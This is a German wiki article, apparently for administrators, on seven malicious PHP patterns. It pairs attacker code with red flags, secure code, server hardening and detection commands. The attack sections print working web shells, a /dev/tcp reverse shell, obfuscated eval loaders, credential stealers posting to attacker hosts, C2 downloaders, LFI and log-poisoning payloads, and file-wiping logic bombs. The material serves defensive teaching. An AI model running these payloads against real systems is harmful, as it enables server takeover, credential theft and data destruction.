Php Malicious

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Malicious PHP

Dieser Artikel behandelt die sieben häufigsten Muster von bösartigem PHP-Code. Für jedes Muster gibt es drei Blickwinkel:

  • Was der Angreifer will – Ziel und typischer Angriffscode
  • Red Flags – Erkennungsmerkmale im Code und in Logs
  • Gegenmaßnahmen – sichere Programmierung, Serverkonfiguration, Scanning

1. Web Shell Backdoors

Was der Angreifer will

Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt. Der Angreifer braucht dazu keinen SSH- oder FTP-Zugang – ein normaler HTTP-Request reicht. Web Shells sind der häufigste Persistenzmechanismus nach einer initialen Kompromittierung, z. B. über eine unsichere Datei-Upload-Funktion oder ein veraltetes CMS-Plugin.

Minimale Web Shell (GET-Parameter)

<?php
// Dateiname: header.php, img001.php, thumb.php – bewusst unauffällig
// Ablageort: /uploads/, /images/, /cache/
// Aufruf:   http://opfer.example.com/uploads/header.php?cmd=id

if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
# Angreifer ruft die Shell auf:
curl "http://opfer.example.com/uploads/header.php?cmd=id"
# Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd"
# Ausgabe: root:x:0:0:root:/root:/bin/bash ...

# Reverse Shell starten (Angreifer lauscht auf Port 4444):
curl "http://opfer.example.com/uploads/header.php?cmd=bash+-i+>%26+/dev/tcp/192.168.1.99/4444+0>%261"

Erweiterte Shell über POST (schwerer im Access-Log erkennbar)

GET-Parameter landen vollständig im Access-Log. POST-Body wird dort nicht geloggt, was die Shell schwerer auffindbar macht.

<?php
// POST-Body landet nicht im Apache Access-Log → schwerer zu erkennen
if (isset($_POST['x'])) {
    $output = shell_exec($_POST['x'] . ' 2>&1');
    echo '<pre>' . htmlspecialchars($output) . '</pre>';
}
?>
curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \
     -d 'x=whoami'
# www-data

curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \
     -d 'x=ls -la /var/www/html'

Typische Tarnnamen und Ablageorte

/uploads/img001.php
/uploads/2024/photo.php
/images/header.php
/cache/.thumbs.php          # führender Punkt → unsichtbar ohne ls -a
/wp-includes/class-wp-image.php
/wp-content/plugins/contact-form/assets/js/jquery.min.php

Red Flags

  • system(), exec(), shell_exec(), passthru(), popen()
  • Direkter Zugriff auf $_GET, $_POST, $_REQUEST ohne jede Validierung
  • Keine Authentifizierung vor der Ausführung
  • PHP-Dateien in /uploads/, /images/, /cache/
  • Dateinamen die legitime Dateien imitieren (image.php, header.php)

Gegenmaßnahmen

Unsicherer Upload-Code (so entsteht das Problem)

<?php
// UNSICHER – keinerlei Validierung, PHP-Datei landet direkt im Webroot
if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) {
    move_uploaded_file(
        $_FILES['upload']['tmp_name'],
        '/var/www/html/uploads/' . $_FILES['upload']['name']
    );
    echo "Upload erfolgreich.";
}
?>

Sicherer Upload-Code

<?php
// SICHER – Whitelist, Umbenennung, Upload außerhalb Webroot
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
$upload_dir   = '/var/data/uploads/';   // außerhalb /var/www/html !

if ($_FILES['upload']['error'] !== UPLOAD_ERR_OK) {
    die("Upload-Fehler.");
}

// MIME-Typ prüfen (nicht nur Dateiendung!)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime  = $finfo->file($_FILES['upload']['tmp_name']);

if (!in_array($mime, $allowed_mime, true)) {
    die("Unerlaubter Dateityp: " . htmlspecialchars($mime));
}

// Dateiname komplett neu generieren – Original-Name wird verworfen
$ext      = 'jpg'; // Endung aus Whitelist, nicht aus Original-Name
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;

move_uploaded_file($_FILES['upload']['tmp_name'], $upload_dir . $new_name);
echo "Upload gespeichert als: " . htmlspecialchars($new_name);
?>

PHP-Ausführung in Upload-Verzeichnissen serverseitig unterbinden

# /etc/apache2/conf-available/no-php-uploads.conf
<Directory /var/www/html/uploads>
    <FilesMatch "\.php$">
        Require all denied
    </FilesMatch>
    # Alternativ: PHP-Engine komplett aus
    php_flag engine off
</Directory>
a2enconf no-php-uploads
systemctl reload apache2

Gefährliche Funktionen in php.ini deaktivieren

; /etc/php/8.2/apache2/php.ini
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec
systemctl restart apache2

# Prüfen ob die Sperre greift:
php -r "system('id');"
# PHP Warning: system() has been disabled for security reasons

WAF-Regel (Coraza / ModSecurity)

# Requests mit Shell-typischen Parameternamen blockieren
SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell|pass|c)$" \
    "id:1001,phase:2,deny,status:403,log,msg:'Web Shell Parameter detected'"

Web Shells im Filesystem aufspüren

# PHP-Dateien mit Shell-Funktionen durchsuchen
grep -rn --include="*.php" \
    -e "system\s*(" \
    -e "shell_exec\s*(" \
    -e "passthru\s*(" \
    -e "exec\s*(" \
    /var/www/html/

# PHP-Dateien in Upload-Verzeichnissen – sollte leer sein
find /var/www/html/uploads -name "*.php" -type f

# Versteckte PHP-Dateien (Punkt am Anfang)
find /var/www/html -name ".*.php" -type f

# Kürzlich geänderte PHP-Dateien (letzte 7 Tage)
find /var/www/html -name "*.php" -mtime -7 -ls

# Access-Log: Requests auf PHP-Dateien in Upload-Verzeichnissen
grep -E "/(uploads|images|cache)/.*\.php" /var/log/apache2/access.log

# Access-Log: Shell-typische GET-Parameter
grep -E "(cmd|exec|command|shell)=" /var/log/apache2/access.log

2. Obfuscated Malware

Was der Angreifer will

Den eigentlichen Schadcode so verschleiern, dass weder automatische Scanner noch menschliche Code-Reviews ihn auf den ersten Blick erkennen. Obfuskierung ist kein eigenständiger Angriff – sie ist fast immer die Tarnung für einen anderen Angriffstyp: Web Shell, Credential Stealer oder Remote Downloader. Je mehr Encoding-Ebenen, desto länger bleibt die Shell unentdeckt.

Stufe 1: Einfaches Base64 + eval

<?php
// Klartext des Payloads: system($_GET['cmd']);
// Kodiert mit: echo -n "system(\$_GET['cmd']);" | base64

$payload = base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7');
eval($payload);
?>
# Analyse – Payload dekodieren ohne ihn auszuführen:
echo 'c3lzdGVtKCRfR0VUWydjbWQnXSk7' | base64 -d
# system($_GET['cmd']);

Stufe 2: Mehrfach-Encoding (Base64 + gzip)

<?php
// Payload: system($_GET['cmd']);
// Erst gzip-komprimiert, dann base64-kodiert
// Erstellt mit: echo -n "system(\$_GET['cmd']);" | gzip | base64

$encoded = 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=';
$payload = gzinflate(base64_decode($encoded));
eval($payload);
?>
# Dekodieren:
echo 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=' | base64 -d | gunzip
# system($_GET['cmd']);

Stufe 3: str_rot13 (Zeichenrotation)

<?php
// rot13("system") = "flfgrz"
// Kein Base64 → umgeht simple base64-Signaturen in Scannern

$func = str_rot13('flfgrz');       // ergibt: system
$arg  = str_rot13($_GET['pzq']);   // rot13("cmd") = "pzq"
$func($arg);
?>
# Aufruf:
curl "http://opfer.example.com/cache/img.php?pzq=id"
# uid=33(www-data) ...

# Analyse:
php -r "echo str_rot13('flfgrz');"
# system

Stufe 4: Variable Funktionsnamen (kein klarer Funktionsname im Code)

<?php
// Kein einziger bekannter Funktionsname im Code sichtbar
$a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // "system"
$b = $_GET['x'];
$a($b);
?>
# ASCII-Werte nachvollziehen:
php -r "echo chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);"
# system

Stufe 5: Praxisbeispiel – Leafmailer-Webshell (reales Muster aus WordPress-Kompromittierungen)

Dieses Muster wurde in kompromittierten WordPress-Installationen als scheinbar harmlose Mailer-Datei gefunden:

<?php
// Dateiname: class-phpmailer.php – imitiert legitime WordPress-Datei
// Obfuskierungstechniken kombiniert: str_replace + base64 im Parameter

$fn = str_replace('_', '', 'sy_st_em');              // ergibt: system
$p  = @$_POST[base64_decode('Y21k')];                // base64("cmd") = "cmd"
if (isset($p)) {
    @$fn($p);
}
?>
# base64("cmd") nachvollziehen:
echo 'Y21k' | base64 -d
# cmd

# Aufruf:
curl -X POST http://opfer.example.com/wp-includes/class-phpmailer.php \
     -d 'cmd=id'

Red Flags

  • eval() – führt beliebigen PHP-Code zur Laufzeit aus
  • base64_decode() kombiniert mit eval() – klassisches Obfuskierungsmuster
  • gzinflate(), gzuncompress(), str_rot13()
  • assert() – verhält sich wie eval(), wird seltener gefiltert
  • create_function() – veraltete Alternative zu anonymen Funktionen, häufig in altem Malware-Code
  • Strings über 500 Zeichen ohne Leerzeichen – Hinweis auf eingebetteten Payload
  • chr()-Verkettungen zur Rekonstruktion von Funktionsnamen
  • preg_replace() mit /e-Modifier (PHP < 7.0) – führt Replacement als PHP-Code aus

Gegenmaßnahmen

Unsicherer Code (so sieht Obfuskierung in einem eigentlich harmlosen Kontext aus)

<?php
// UNSICHER – eval mit Benutzereingabe, auch ohne Obfuskierung gefährlich
$template = $_GET['tpl'];
eval('echo "' . $template . '";');
// Angreifer gibt ein: "; system('id'); echo "
?>

Sicherer Code – eval grundsätzlich vermeiden

<?php
// SICHER – Template-Logik ohne eval
$allowed_templates = ['home', 'about', 'contact'];
$tpl = $_GET['tpl'] ?? 'home';

if (!in_array($tpl, $allowed_templates, true)) {
    die("Unbekanntes Template.");
}

// Datei mit festem Pfad einbinden – kein User-Input im Pfad
include __DIR__ . '/templates/' . $tpl . '.php';
?>

disable_functions in php.ini

; /etc/php/8.2/apache2/php.ini
; Hinweis: eval() ist ein Sprachkonstrukt, KEIN Funktionsaufruf
; → es kann NICHT über disable_functions deaktiviert werden
; assert() und create_function() hingegen schon:
disable_functions = assert, create_function

Obfuszierten Code aufspüren

# eval() mit Encoding-Funktionen kombiniert
grep -rn --include="*.php" \
    -e "eval\s*(base64_decode" \
    -e "eval\s*(gzinflate" \
    -e "eval\s*(str_rot13" \
    -e "assert\s*(" \
    -e "create_function" \
    /var/www/html/

# Sehr lange Strings (Payload-Indikator) – minifizierte legitime Dateien ausschließen
grep -rn --include="*.php" -P '.{500,}' /var/www/html/ | grep -v "\.min\.php"

# chr()-Verkettungen (Funktionsnamen-Rekonstruktion)
grep -rn --include="*.php" "chr([0-9]\+)" /var/www/html/

Payload manuell dekodieren (ohne Ausführung)

# Base64 dekodieren
echo 'ENCODED_STRING' | base64 -d

# Base64 + gzip
echo 'ENCODED_STRING' | base64 -d | gunzip 2>/dev/null

# PHP-Oneliner zur Analyse (kein eval!)
php -r "echo base64_decode('ENCODED_STRING');"
php -r "echo gzinflate(base64_decode('ENCODED_STRING'));"
php -r "echo str_rot13('ENCODED_STRING');"

ClamAV und Maldet

# ClamAV installieren und aktualisieren
apt install clamav
freshclam

# PHP-Dateien scannen
clamscan -r --include="*.php" /var/www/html/

# Linux Malware Detect (Maldet)
wget https://www.rfxn.com/downloads/maldetect-current.tar.gz
tar xzf maldetect-current.tar.gz
cd maldetect-*/
./install.sh

# Scan starten
maldet --scan-all /var/www/html/
maldet --report list

3. File Upload Backdoors

Was der Angreifer will

Eine PHP-Datei als Bild oder Dokument getarnt hochladen und anschließend als Web Shell ausführen. Das Ziel ist, durch eine fehlerhaft implementierte Upload-Funktion eine ausführbare Datei in ein öffentlich erreichbares Verzeichnis zu platzieren.

Angriff: Datei mit doppelter Endung

# Angreifer lädt eine Datei namens "shell.php.jpg" hoch
# Falls der Server nur die letzte Endung prüft → wird als Bild akzeptiert
# Falls Apache mit AddHandler oder MultiViews konfiguriert ist → wird als PHP ausgeführt

curl -F "file=@shell.php.jpg" http://opfer.example.com/upload.php
# Datei landet in /uploads/shell.php.jpg

# Ausführung als PHP (bei fehlerhafter Apache-Konfiguration):
curl "http://opfer.example.com/uploads/shell.php.jpg?cmd=id"

Angriff: PHP-Datei mit gefälschtem MIME-Type

# Content-Type-Header wird vom Angreifer manipuliert – server-side MIME-Prüfung fehlt
curl -X POST http://opfer.example.com/upload.php \
     -F "file=@webshell.php;type=image/jpeg"
# Server akzeptiert die Datei weil Content-Type = image/jpeg → landet als .php im Webroot

Unsicherer Upload-Code (das eigentliche Problem)

<?php
// UNSICHER – nur Content-Type aus dem Request geprüft (vom Angreifer frei wählbar)
if ($_FILES['file']['type'] === 'image/jpeg') {
    move_uploaded_file(
        $_FILES['file']['tmp_name'],
        '/var/www/html/uploads/' . $_FILES['file']['name']  // Original-Name → gefährlich
    );
    echo "Upload OK";
}
?>

Red Flags

  • $_FILES['x']['type'] wird ohne serverseitige MIME-Prüfung verwendet
  • move_uploaded_file() mit Original-Dateiname ($_FILES['x']['name'])
  • Upload-Ziel liegt innerhalb des Webroot
  • Keine Prüfung der Dateiendung gegen eine Whitelist
  • Dateinamen wie shell.php.jpg, image.png.php in Upload-Logs

Gegenmaßnahmen

Sicherer Upload-Code

<?php
// SICHER – serverseitige MIME-Prüfung, Whitelist, Umbenennung, Upload außerhalb Webroot

$allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
$upload_dir         = '/var/data/uploads/';   // NICHT innerhalb /var/www/html !

// Fehlerprüfung
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
    http_response_code(400);
    die("Kein gültiger Upload.");
}

// MIME-Typ serverseitig prüfen – NICHT $_FILES['file']['type'] verwenden!
// fileinfo liest die Magic Bytes der Datei selbst
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime  = $finfo->file($_FILES['file']['tmp_name']);

if (!in_array($mime, $allowed_mime_types, true)) {
    http_response_code(415);
    die("Dateityp nicht erlaubt: " . htmlspecialchars($mime));
}

// Dateiendung aus MIME ableiten – Original-Name wird komplett verworfen
$mime_to_ext = [
    'image/jpeg' => 'jpg',
    'image/png'  => 'png',
    'image/gif'  => 'gif',
    'image/webp' => 'webp',
];
$ext      = $mime_to_ext[$mime];
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;  // zufälliger Name

if (!move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $new_name)) {
    http_response_code(500);
    die("Speichern fehlgeschlagen.");
}

echo "Gespeichert als: " . htmlspecialchars($new_name);
?>

PHP-Ausführung in Upload-Verzeichnis deaktivieren

# /etc/apache2/conf-available/no-php-uploads.conf
<Directory /var/www/html/uploads>
    php_flag engine off
    <FilesMatch "\.php[0-9]?$">
        Require all denied
    </FilesMatch>
    # Auch .phtml, .phar blockieren:
    <FilesMatch "\.(phtml|phar|php3|php4|php5|php7)$">
        Require all denied
    </FilesMatch>
</Directory>
a2enconf no-php-uploads
systemctl reload apache2

Apache: Gefährliche MultiViews-Konfiguration vermeiden

# MultiViews kann dazu führen dass shell.php.jpg als PHP ausgeführt wird
# SICHER: MultiViews deaktivieren
<Directory /var/www/html>
    Options -MultiViews
</Directory>

# Gefährliche AddHandler-Direktiven vermeiden:
# UNSICHER (niemals so konfigurieren):
# AddHandler application/x-httpd-php .php .php5 .phtml .phar

Suche nach Upload-Backdoors

# PHP-Dateien in Upload-Verzeichnissen
find /var/www/html/uploads -name "*.php*" -type f
find /var/www/html/uploads -name "*.phar" -type f
find /var/www/html/uploads -name "*.phtml" -type f

# Dateien mit doppelter Endung
find /var/www/html/uploads -name "*.php.*" -type f

# Access-Log: PHP-Aufrufe aus Upload-Verzeichnis
grep -E "/(uploads|files|media)/.*\.(php|phar|phtml)" /var/log/apache2/access.log

4. Credential & Data Stealers

Was der Angreifer will

Admin-Passwörter, Session-Cookies und Datenbankzugangsdaten stehlen. Der Angreifer modifiziert dazu bestehende Login-Formulare oder fügt Code in zentrale Include-Dateien ein, der Zugangsdaten im Hintergrund mitloggt oder an einen externen Server sendet – ohne dass der legitime Benutzer etwas bemerkt.

Variante 1: Credentials in versteckte Datei schreiben

<?php
// Eingeschleust in eine Login-Seite (z. B. wp-login.php, index.php)
// Loggt Benutzername + Passwort + IP in eine versteckte Datei

if (isset($_POST['log']) && isset($_POST['pwd'])) {
    $log_file = $_SERVER['DOCUMENT_ROOT'] . '/.cache/tmp/.data';
    $entry    = date('Y-m-d H:i:s') . ' | '
              . $_SERVER['REMOTE_ADDR'] . ' | '
              . $_POST['log'] . ' | '
              . $_POST['pwd'] . "\n";
    file_put_contents($log_file, $entry, FILE_APPEND);
}
// Danach normaler Login-Code – Opfer bemerkt nichts
?>
# Angreifer liest die gesammelte Log-Datei aus (über Web Shell oder direkten Zugriff):
curl "http://opfer.example.com/.cache/tmp/.data"
# 2024-05-01 14:23:11 | 192.168.1.50 | admin | SuperSecret123

Variante 2: Credentials per HTTP an externen Server senden

<?php
// Eingeschleust in functions.php oder eine zentrale Include-Datei
// Sendet Credentials sofort an Angreifer-Server

if (!empty($_POST)) {
    $data = http_build_query($_POST);
    // file_get_contents mit URL benötigt allow_url_fopen = On
    @file_get_contents('http://angreifer.example.com/collect.php?' . $data);
    // Alternativ mit curl (funktioniert auch wenn allow_url_fopen = Off):
    // $ch = curl_init('http://angreifer.example.com/collect.php');
    // curl_setopt($ch, CURLOPT_POST, 1);
    // curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    // curl_exec($ch);
}
?>

Variante 3: Session-Cookie stehlen

<?php
// Eingeschleust in eine Seite die nach dem Login aufgerufen wird
// Stiehlt den Session-Cookie des angemeldeten Benutzers

if (isset($_COOKIE['PHPSESSID'])) {
    $stolen = date('Y-m-d H:i:s') . ' | '
            . $_SERVER['REMOTE_ADDR'] . ' | '
            . 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . "\n";
    file_put_contents('/tmp/.sessions', $stolen, FILE_APPEND);
}
?>
# Mit gestohlenem Cookie einloggen ohne Passwort:
curl -b "PHPSESSID=abc123gestohlen" http://opfer.example.com/wp-admin/

Red Flags

  • Schreibzugriffe auf Dateien in /tmp/, /.cache/, versteckte Dateien (.data, .log)
  • file_put_contents() oder fwrite() mit $_POST/$_GET-Inhalten
  • Unerwartete ausgehende HTTP-Requests (file_get_contents(URL), curl_exec())
  • Unbekannte Logdateien mit Credentials-ähnlichem Inhalt
  • Modifikation von Login-Dateien (wp-login.php, index.php)

Gegenmaßnahmen

Passwörter niemals im Klartext verarbeiten

<?php
// UNSICHER – Passwort wird als Klartext verarbeitet und ist damit für Stealer zugänglich
$password = $_POST['password'];
if ($password === $stored_password) { /* Login */ }

// SICHER – Passwort wird sofort als Hash verglichen, nie gespeichert oder geloggt
$password = $_POST['password'];
if (password_verify($password, $stored_hash)) { /* Login */ }
// password_hash() zum Speichern: $hash = password_hash($password, PASSWORD_BCRYPT);
?>

allow_url_fopen deaktivieren

; /etc/php/8.2/apache2/php.ini
; Verhindert file_get_contents() mit URLs → Variante 2 funktioniert nicht mehr
allow_url_fopen  = Off
allow_url_include = Off

Ausgehende Verbindungen per Firewall blockieren (nftables)

# Webserver-Prozess (www-data) darf keine ausgehenden HTTP/HTTPS-Verbindungen aufbauen
# Ausnahme: explizit erlaubte Ziele (z. B. eigene API)

nft add rule inet filter output \
    skuid www-data \
    tcp dport { 80, 443 } \
    ip daddr != 192.168.1.1 \
    drop

Suche nach Credential-Stealern

# Schreibzugriffe auf $_POST-Inhalte in PHP-Dateien
grep -rn --include="*.php" \
    -e "file_put_contents.*_POST" \
    -e "file_put_contents.*_GET" \
    -e "fwrite.*_POST" \
    /var/www/html/

# Ausgehende HTTP-Requests in PHP-Dateien
grep -rn --include="*.php" \
    -e "file_get_contents\s*(['\"]http" \
    -e "curl_setopt.*CURLOPT_URL" \
    /var/www/html/

# Versteckte Dateien mit Credential-ähnlichem Inhalt
find /var/www/html -name ".*" -type f | xargs grep -l "password\|passwd\|PHPSESSID" 2>/dev/null

# Netzwerkverbindungen des Webservers überwachen
ss -tulpn | grep apache2
lsof -i -n -P | grep php

5. Remote Malware Downloader

Was der Angreifer will

Neuen Schadcode zur Laufzeit von einem externen Server nachladen und ausführen. Der initiale Code ist minimal und unverdächtig – der eigentliche Payload kommt erst später. Das ermöglicht es dem Angreifer, die Shell zu aktualisieren oder verschiedene Payloads nachzuladen, ohne erneut die Webapplikation kompromittieren zu müssen.

Variante 1: file_get_contents + eval

<?php
// Lädt PHP-Code von einem externen Server und führt ihn direkt aus
// allow_url_fopen muss On sein (Standard in vielen Installationen)

$url     = 'http://c2.angreifer.example.com/payload.php';
$payload = file_get_contents($url);
eval($payload);
?>

Variante 2: curl + eval (funktioniert auch wenn allow_url_fopen = Off)

<?php
$ch = curl_init('http://c2.angreifer.example.com/stage2.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // auch HTTPS-C2-Server möglich
$payload = curl_exec($ch);
curl_close($ch);
eval($payload);
?>

Variante 3: Payload auf Disk schreiben + include (persistenter)

<?php
// Schreibt den nachgeladenen Code als PHP-Datei und bindet sie ein
// Vorteil für Angreifer: funktioniert auch nach C2-Server-Ausfall weiter

$payload_url  = 'http://c2.angreifer.example.com/update.php';
$local_cache  = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/.update.php';

$code = file_get_contents($payload_url);
file_put_contents($local_cache, $code);
include $local_cache;
?>

Red Flags

  • file_get_contents() mit einer URL als Parameter
  • curl_exec() gefolgt von eval()
  • file_put_contents() mit dynamischem Inhalt + anschließendem include()
  • Requests zu unbekannten Domains im Netzwerk-Traffic
  • DNS-Anfragen an unbekannte Hosts aus dem Webserver-Prozess

Gegenmaßnahmen

allow_url_fopen und allow_url_include deaktivieren

; /etc/php/8.2/apache2/php.ini
allow_url_fopen  = Off   ; file_get_contents() kann keine URLs mehr öffnen
allow_url_include = Off   ; include/require können keine URLs mehr einbinden

open_basedir – Dateizugriff einschränken

; PHP darf nur innerhalb dieser Verzeichnisse auf Dateien zugreifen
; Verhindert Variante 3 (Schreiben außerhalb des definierten Bereichs)
open_basedir = /var/www/html:/tmp

Ausgehende Verbindungen per nftables blockieren

# www-data darf keine ausgehenden TCP-Verbindungen aufbauen
nft add rule inet filter output \
    skuid www-data \
    tcp flags syn \
    drop

# Alternativ: nur explizit erlaubte Ziele freigeben
# nft add rule inet filter output skuid www-data ip daddr 192.168.1.100 accept
# nft add rule inet filter output skuid www-data drop

DNS-Monitoring

# DNS-Anfragen des Webservers mitschneiden
tcpdump -i eth0 -n port 53 and host 127.0.0.1

# Suricata-Regel: unbekannte externe DNS-Anfragen vom Webserver
# alert dns any any -> any 53 (msg:"PHP process DNS query to unknown host"; \
#   dns.query; content:!"intern.example.com"; sid:9001;)

Downloader-Muster im Code aufspüren

# file_get_contents mit URL
grep -rn --include="*.php" \
    -e "file_get_contents\s*(['\"]http" \
    -e "file_get_contents\s*(\$" \
    /var/www/html/

# curl gefolgt von eval (mehrzeilig – Kontext prüfen)
grep -rn --include="*.php" "curl_exec" /var/www/html/

# file_put_contents gefolgt von include in selber Datei
grep -rn --include="*.php" "file_put_contents" /var/www/html/ | \
    while read file; do
        grep -l "include\|require" "$(echo $file | cut -d: -f1)" 2>/dev/null
    done

6. Privilege Escalation via PHP Misconfiguration

Was der Angreifer will

Durch fehlerhafte PHP- oder Serverkonfiguration höhere Rechte erlangen oder auf Dateien zugreifen, die außerhalb des Webroots liegen – z. B. Systemdateien, Konfigurationen mit Datenbankpasswörtern oder SSH-Keys. Klassische Angriffsvektoren sind Local File Inclusion (LFI) und fehlende open_basedir-Einschränkungen.

Angriff: Local File Inclusion (LFI)

<?php
// UNSICHER – Benutzereingabe direkt in include()
// Dateiname kommt ungefiltert aus dem GET-Parameter

$page = $_GET['page'];
include($page . '.php');
?>
# Normaler Aufruf:
curl "http://opfer.example.com/index.php?page=home"
# → include('home.php')

# LFI – Angreifer liest /etc/passwd:
curl "http://opfer.example.com/index.php?page=../../../etc/passwd%00"
# %00 = Null-Byte (PHP < 5.3.4): terminiert den String → .php-Endung wird abgeschnitten
# → include('../../../etc/passwd')

# LFI ohne Null-Byte (PHP-Wrapper):
curl "http://opfer.example.com/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd"
# Gibt /etc/passwd base64-kodiert zurück
# Ergebnis base64-dekodieren:
curl "http://opfer.example.com/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd" \
    | base64 -d
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Angriff: LFI → RCE über Log Poisoning

# Schritt 1: PHP-Code in Apache-Log einschleusen (User-Agent-Feld)
curl -A "<?php system(\$_GET['cmd']); ?>" http://opfer.example.com/

# Schritt 2: Log über LFI einbinden → PHP-Code wird ausgeführt
curl "http://opfer.example.com/index.php?page=../../../var/log/apache2/access.log&cmd=id"
# uid=33(www-data) ...

Angriff: require mit $_REQUEST (LFI über POST)

<?php
// UNSICHER – noch gefährlicher als include, weil require bei Fehler abbricht
// und der Angreifer daraus Informationen über das Dateisystem ableiten kann

require($_REQUEST['file']);
?>

Red Flags

  • include($_GET['page']), require($_REQUEST['file']) ohne Whitelist
  • ../ oder %2e%2e%2f in URL-Parametern
  • PHP-Wrapper wie php://filter, php://input, data:// in Parametern
  • Fehlende open_basedir-Konfiguration
  • Requests mit Null-Byte (%00) in Parametern

Gegenmaßnahmen

Sicherer Code – Whitelist statt freie Eingabe

<?php
// SICHER – nur erlaubte Seiten können eingebunden werden
// Benutzereingabe wird NIEMALS direkt in einen Dateipfad übernommen

$allowed_pages = ['home', 'about', 'contact', 'services'];
$page          = $_GET['page'] ?? 'home';

if (!in_array($page, $allowed_pages, true)) {
    http_response_code(404);
    die("Seite nicht gefunden.");
}

// Fester Basispfad + validierter Name aus Whitelist
include __DIR__ . '/pages/' . $page . '.php';
?>

open_basedir in php.ini

; PHP darf nur auf Dateien innerhalb dieser Pfade zugreifen
; Auch php://filter-Angriffe auf /etc/passwd werden damit blockiert
open_basedir = /var/www/html:/tmp

PHP-Wrapper in der WAF blockieren

# Coraza / ModSecurity: PHP-Wrapper in Request-Parametern blockieren
SecRule ARGS "@rx (php://|data://|file://|expect://|zip://)" \
    "id:1003,phase:2,deny,status:403,log,msg:'PHP Wrapper in Request Parameter'"

# Directory Traversal blockieren
SecRule ARGS "@rx \.\.[/\\]" \
    "id:1004,phase:2,deny,status:403,log,msg:'Directory Traversal Attempt'"

LFI-Versuche in Logs erkennen

# Directory-Traversal-Versuche im Access-Log
grep -E "(\.\./|%2e%2e%2f|%252e)" /var/log/apache2/access.log

# PHP-Wrapper-Angriffe
grep -E "(php://|data://|file://|expect://)" /var/log/apache2/access.log

# Log-Poisoning-Versuch: PHP-Code im User-Agent
grep -E "<\?php" /var/log/apache2/access.log

7. Time-Delayed / Logic Bomb Malware

Was der Angreifer will

Versteckt bleiben bis eine bestimmte Bedingung erfüllt ist – ein Datum, eine Uhrzeit, ein bestimmter Benutzername oder eine IP-Adresse. Der Code „tut nichts" solange die Bedingung nicht zutrifft und ist deshalb bei einfachen Scans schwer zu entdecken. Logic Bombs werden oft als Sabotage eingesetzt (Löschen von Daten an einem bestimmten Datum) oder als verzögerter Backdoor-Aktivator.

Variante 1: Datum-basierte Aktivierung

<?php
// Payload wird nur an einem bestimmten Datum ausgeführt
// An allen anderen Tagen: kein verdächtiges Verhalten

$target_date = '2024-12-24';   // Weihnachten – viele Admins im Urlaub

if (date('Y-m-d') === $target_date) {
    // Alle PHP-Dateien im Webroot überschreiben
    foreach (glob('/var/www/html/**/*.php') as $file) {
        file_put_contents($file, '<?php echo "Hacked"; ?>');
    }
}
// Normaler Code folgt – Datei sieht ansonsten harmlos aus
?>

Variante 2: Uhrzeit-basierte Aktivierung (Nacht)

<?php
// Aktiviert sich nur zwischen 02:00 und 03:00 Uhr
// Monitoring und Admins schlafen meist zu dieser Zeit

$hour = (int) date('G');

if ($hour >= 2 && $hour < 3) {
    system($_GET['cmd'] ?? 'id');
}
?>

Variante 3: Bestimmter Benutzer als Trigger

<?php
// Payload nur bei Login des Benutzers "admin" aktiviert
// Verknüpfung mit Credential-Stealer möglich

session_start();
if (isset($_SESSION['user']) && $_SESSION['user'] === 'admin') {
    // Datenbankdump erstellen und in öffentlichem Verzeichnis ablegen
    system('mysqldump -u root -pROOTPASSWD wordpress > /var/www/html/uploads/.dump.sql');
}
?>

Variante 4: IP-basierte Aktivierung (nur für Angreifer sichtbar)

<?php
// Web Shell ist nur für eine bestimmte IP aktiv
// Für alle anderen Besucher sieht die Seite völlig normal aus

$attacker_ip = '198.51.100.42';   // Angreifer-IP

if ($_SERVER['REMOTE_ADDR'] === $attacker_ip && isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    // Normale Seite ausgeben
    include 'index_normal.php';
}
?>

Red Flags

  • date(), time(), strtotime() in Kombination mit Bedingungen die selten wahr sind
  • Hartcodierte Datumswerte ('2024-12-24')
  • IP-Adress-Vergleiche mit $_SERVER['REMOTE_ADDR'] die bestimmte IPs aktivieren
  • Code-Blöcke die scheinbar „nichts tun" – aber unter einer Bedingung stehen
  • Session- oder Benutzerprüfungen in Dateien die keine Zugangskontrolle benötigen

Gegenmaßnahmen

Statische Analyse: Verdächtige Datumsprüfungen finden

# date() in Kombination mit Vergleichsoperatoren
grep -rn --include="*.php" \
    -e "date\s*(.*==\s*['\"]" \
    -e "strtotime\s*(" \
    /var/www/html/

# Hartcodierte IP-Adressen in PHP-Dateien
grep -rn --include="*.php" \
    -P "REMOTE_ADDR.*['\"][0-9]{1,3}\.[0-9]{1,3}" \
    /var/www/html/

# Session-Benutzerprüfungen in unerwarteten Dateien
grep -rn --include="*.php" \
    -e "_SESSION\['user'\]" \
    -e "_SESSION\['username'\]" \
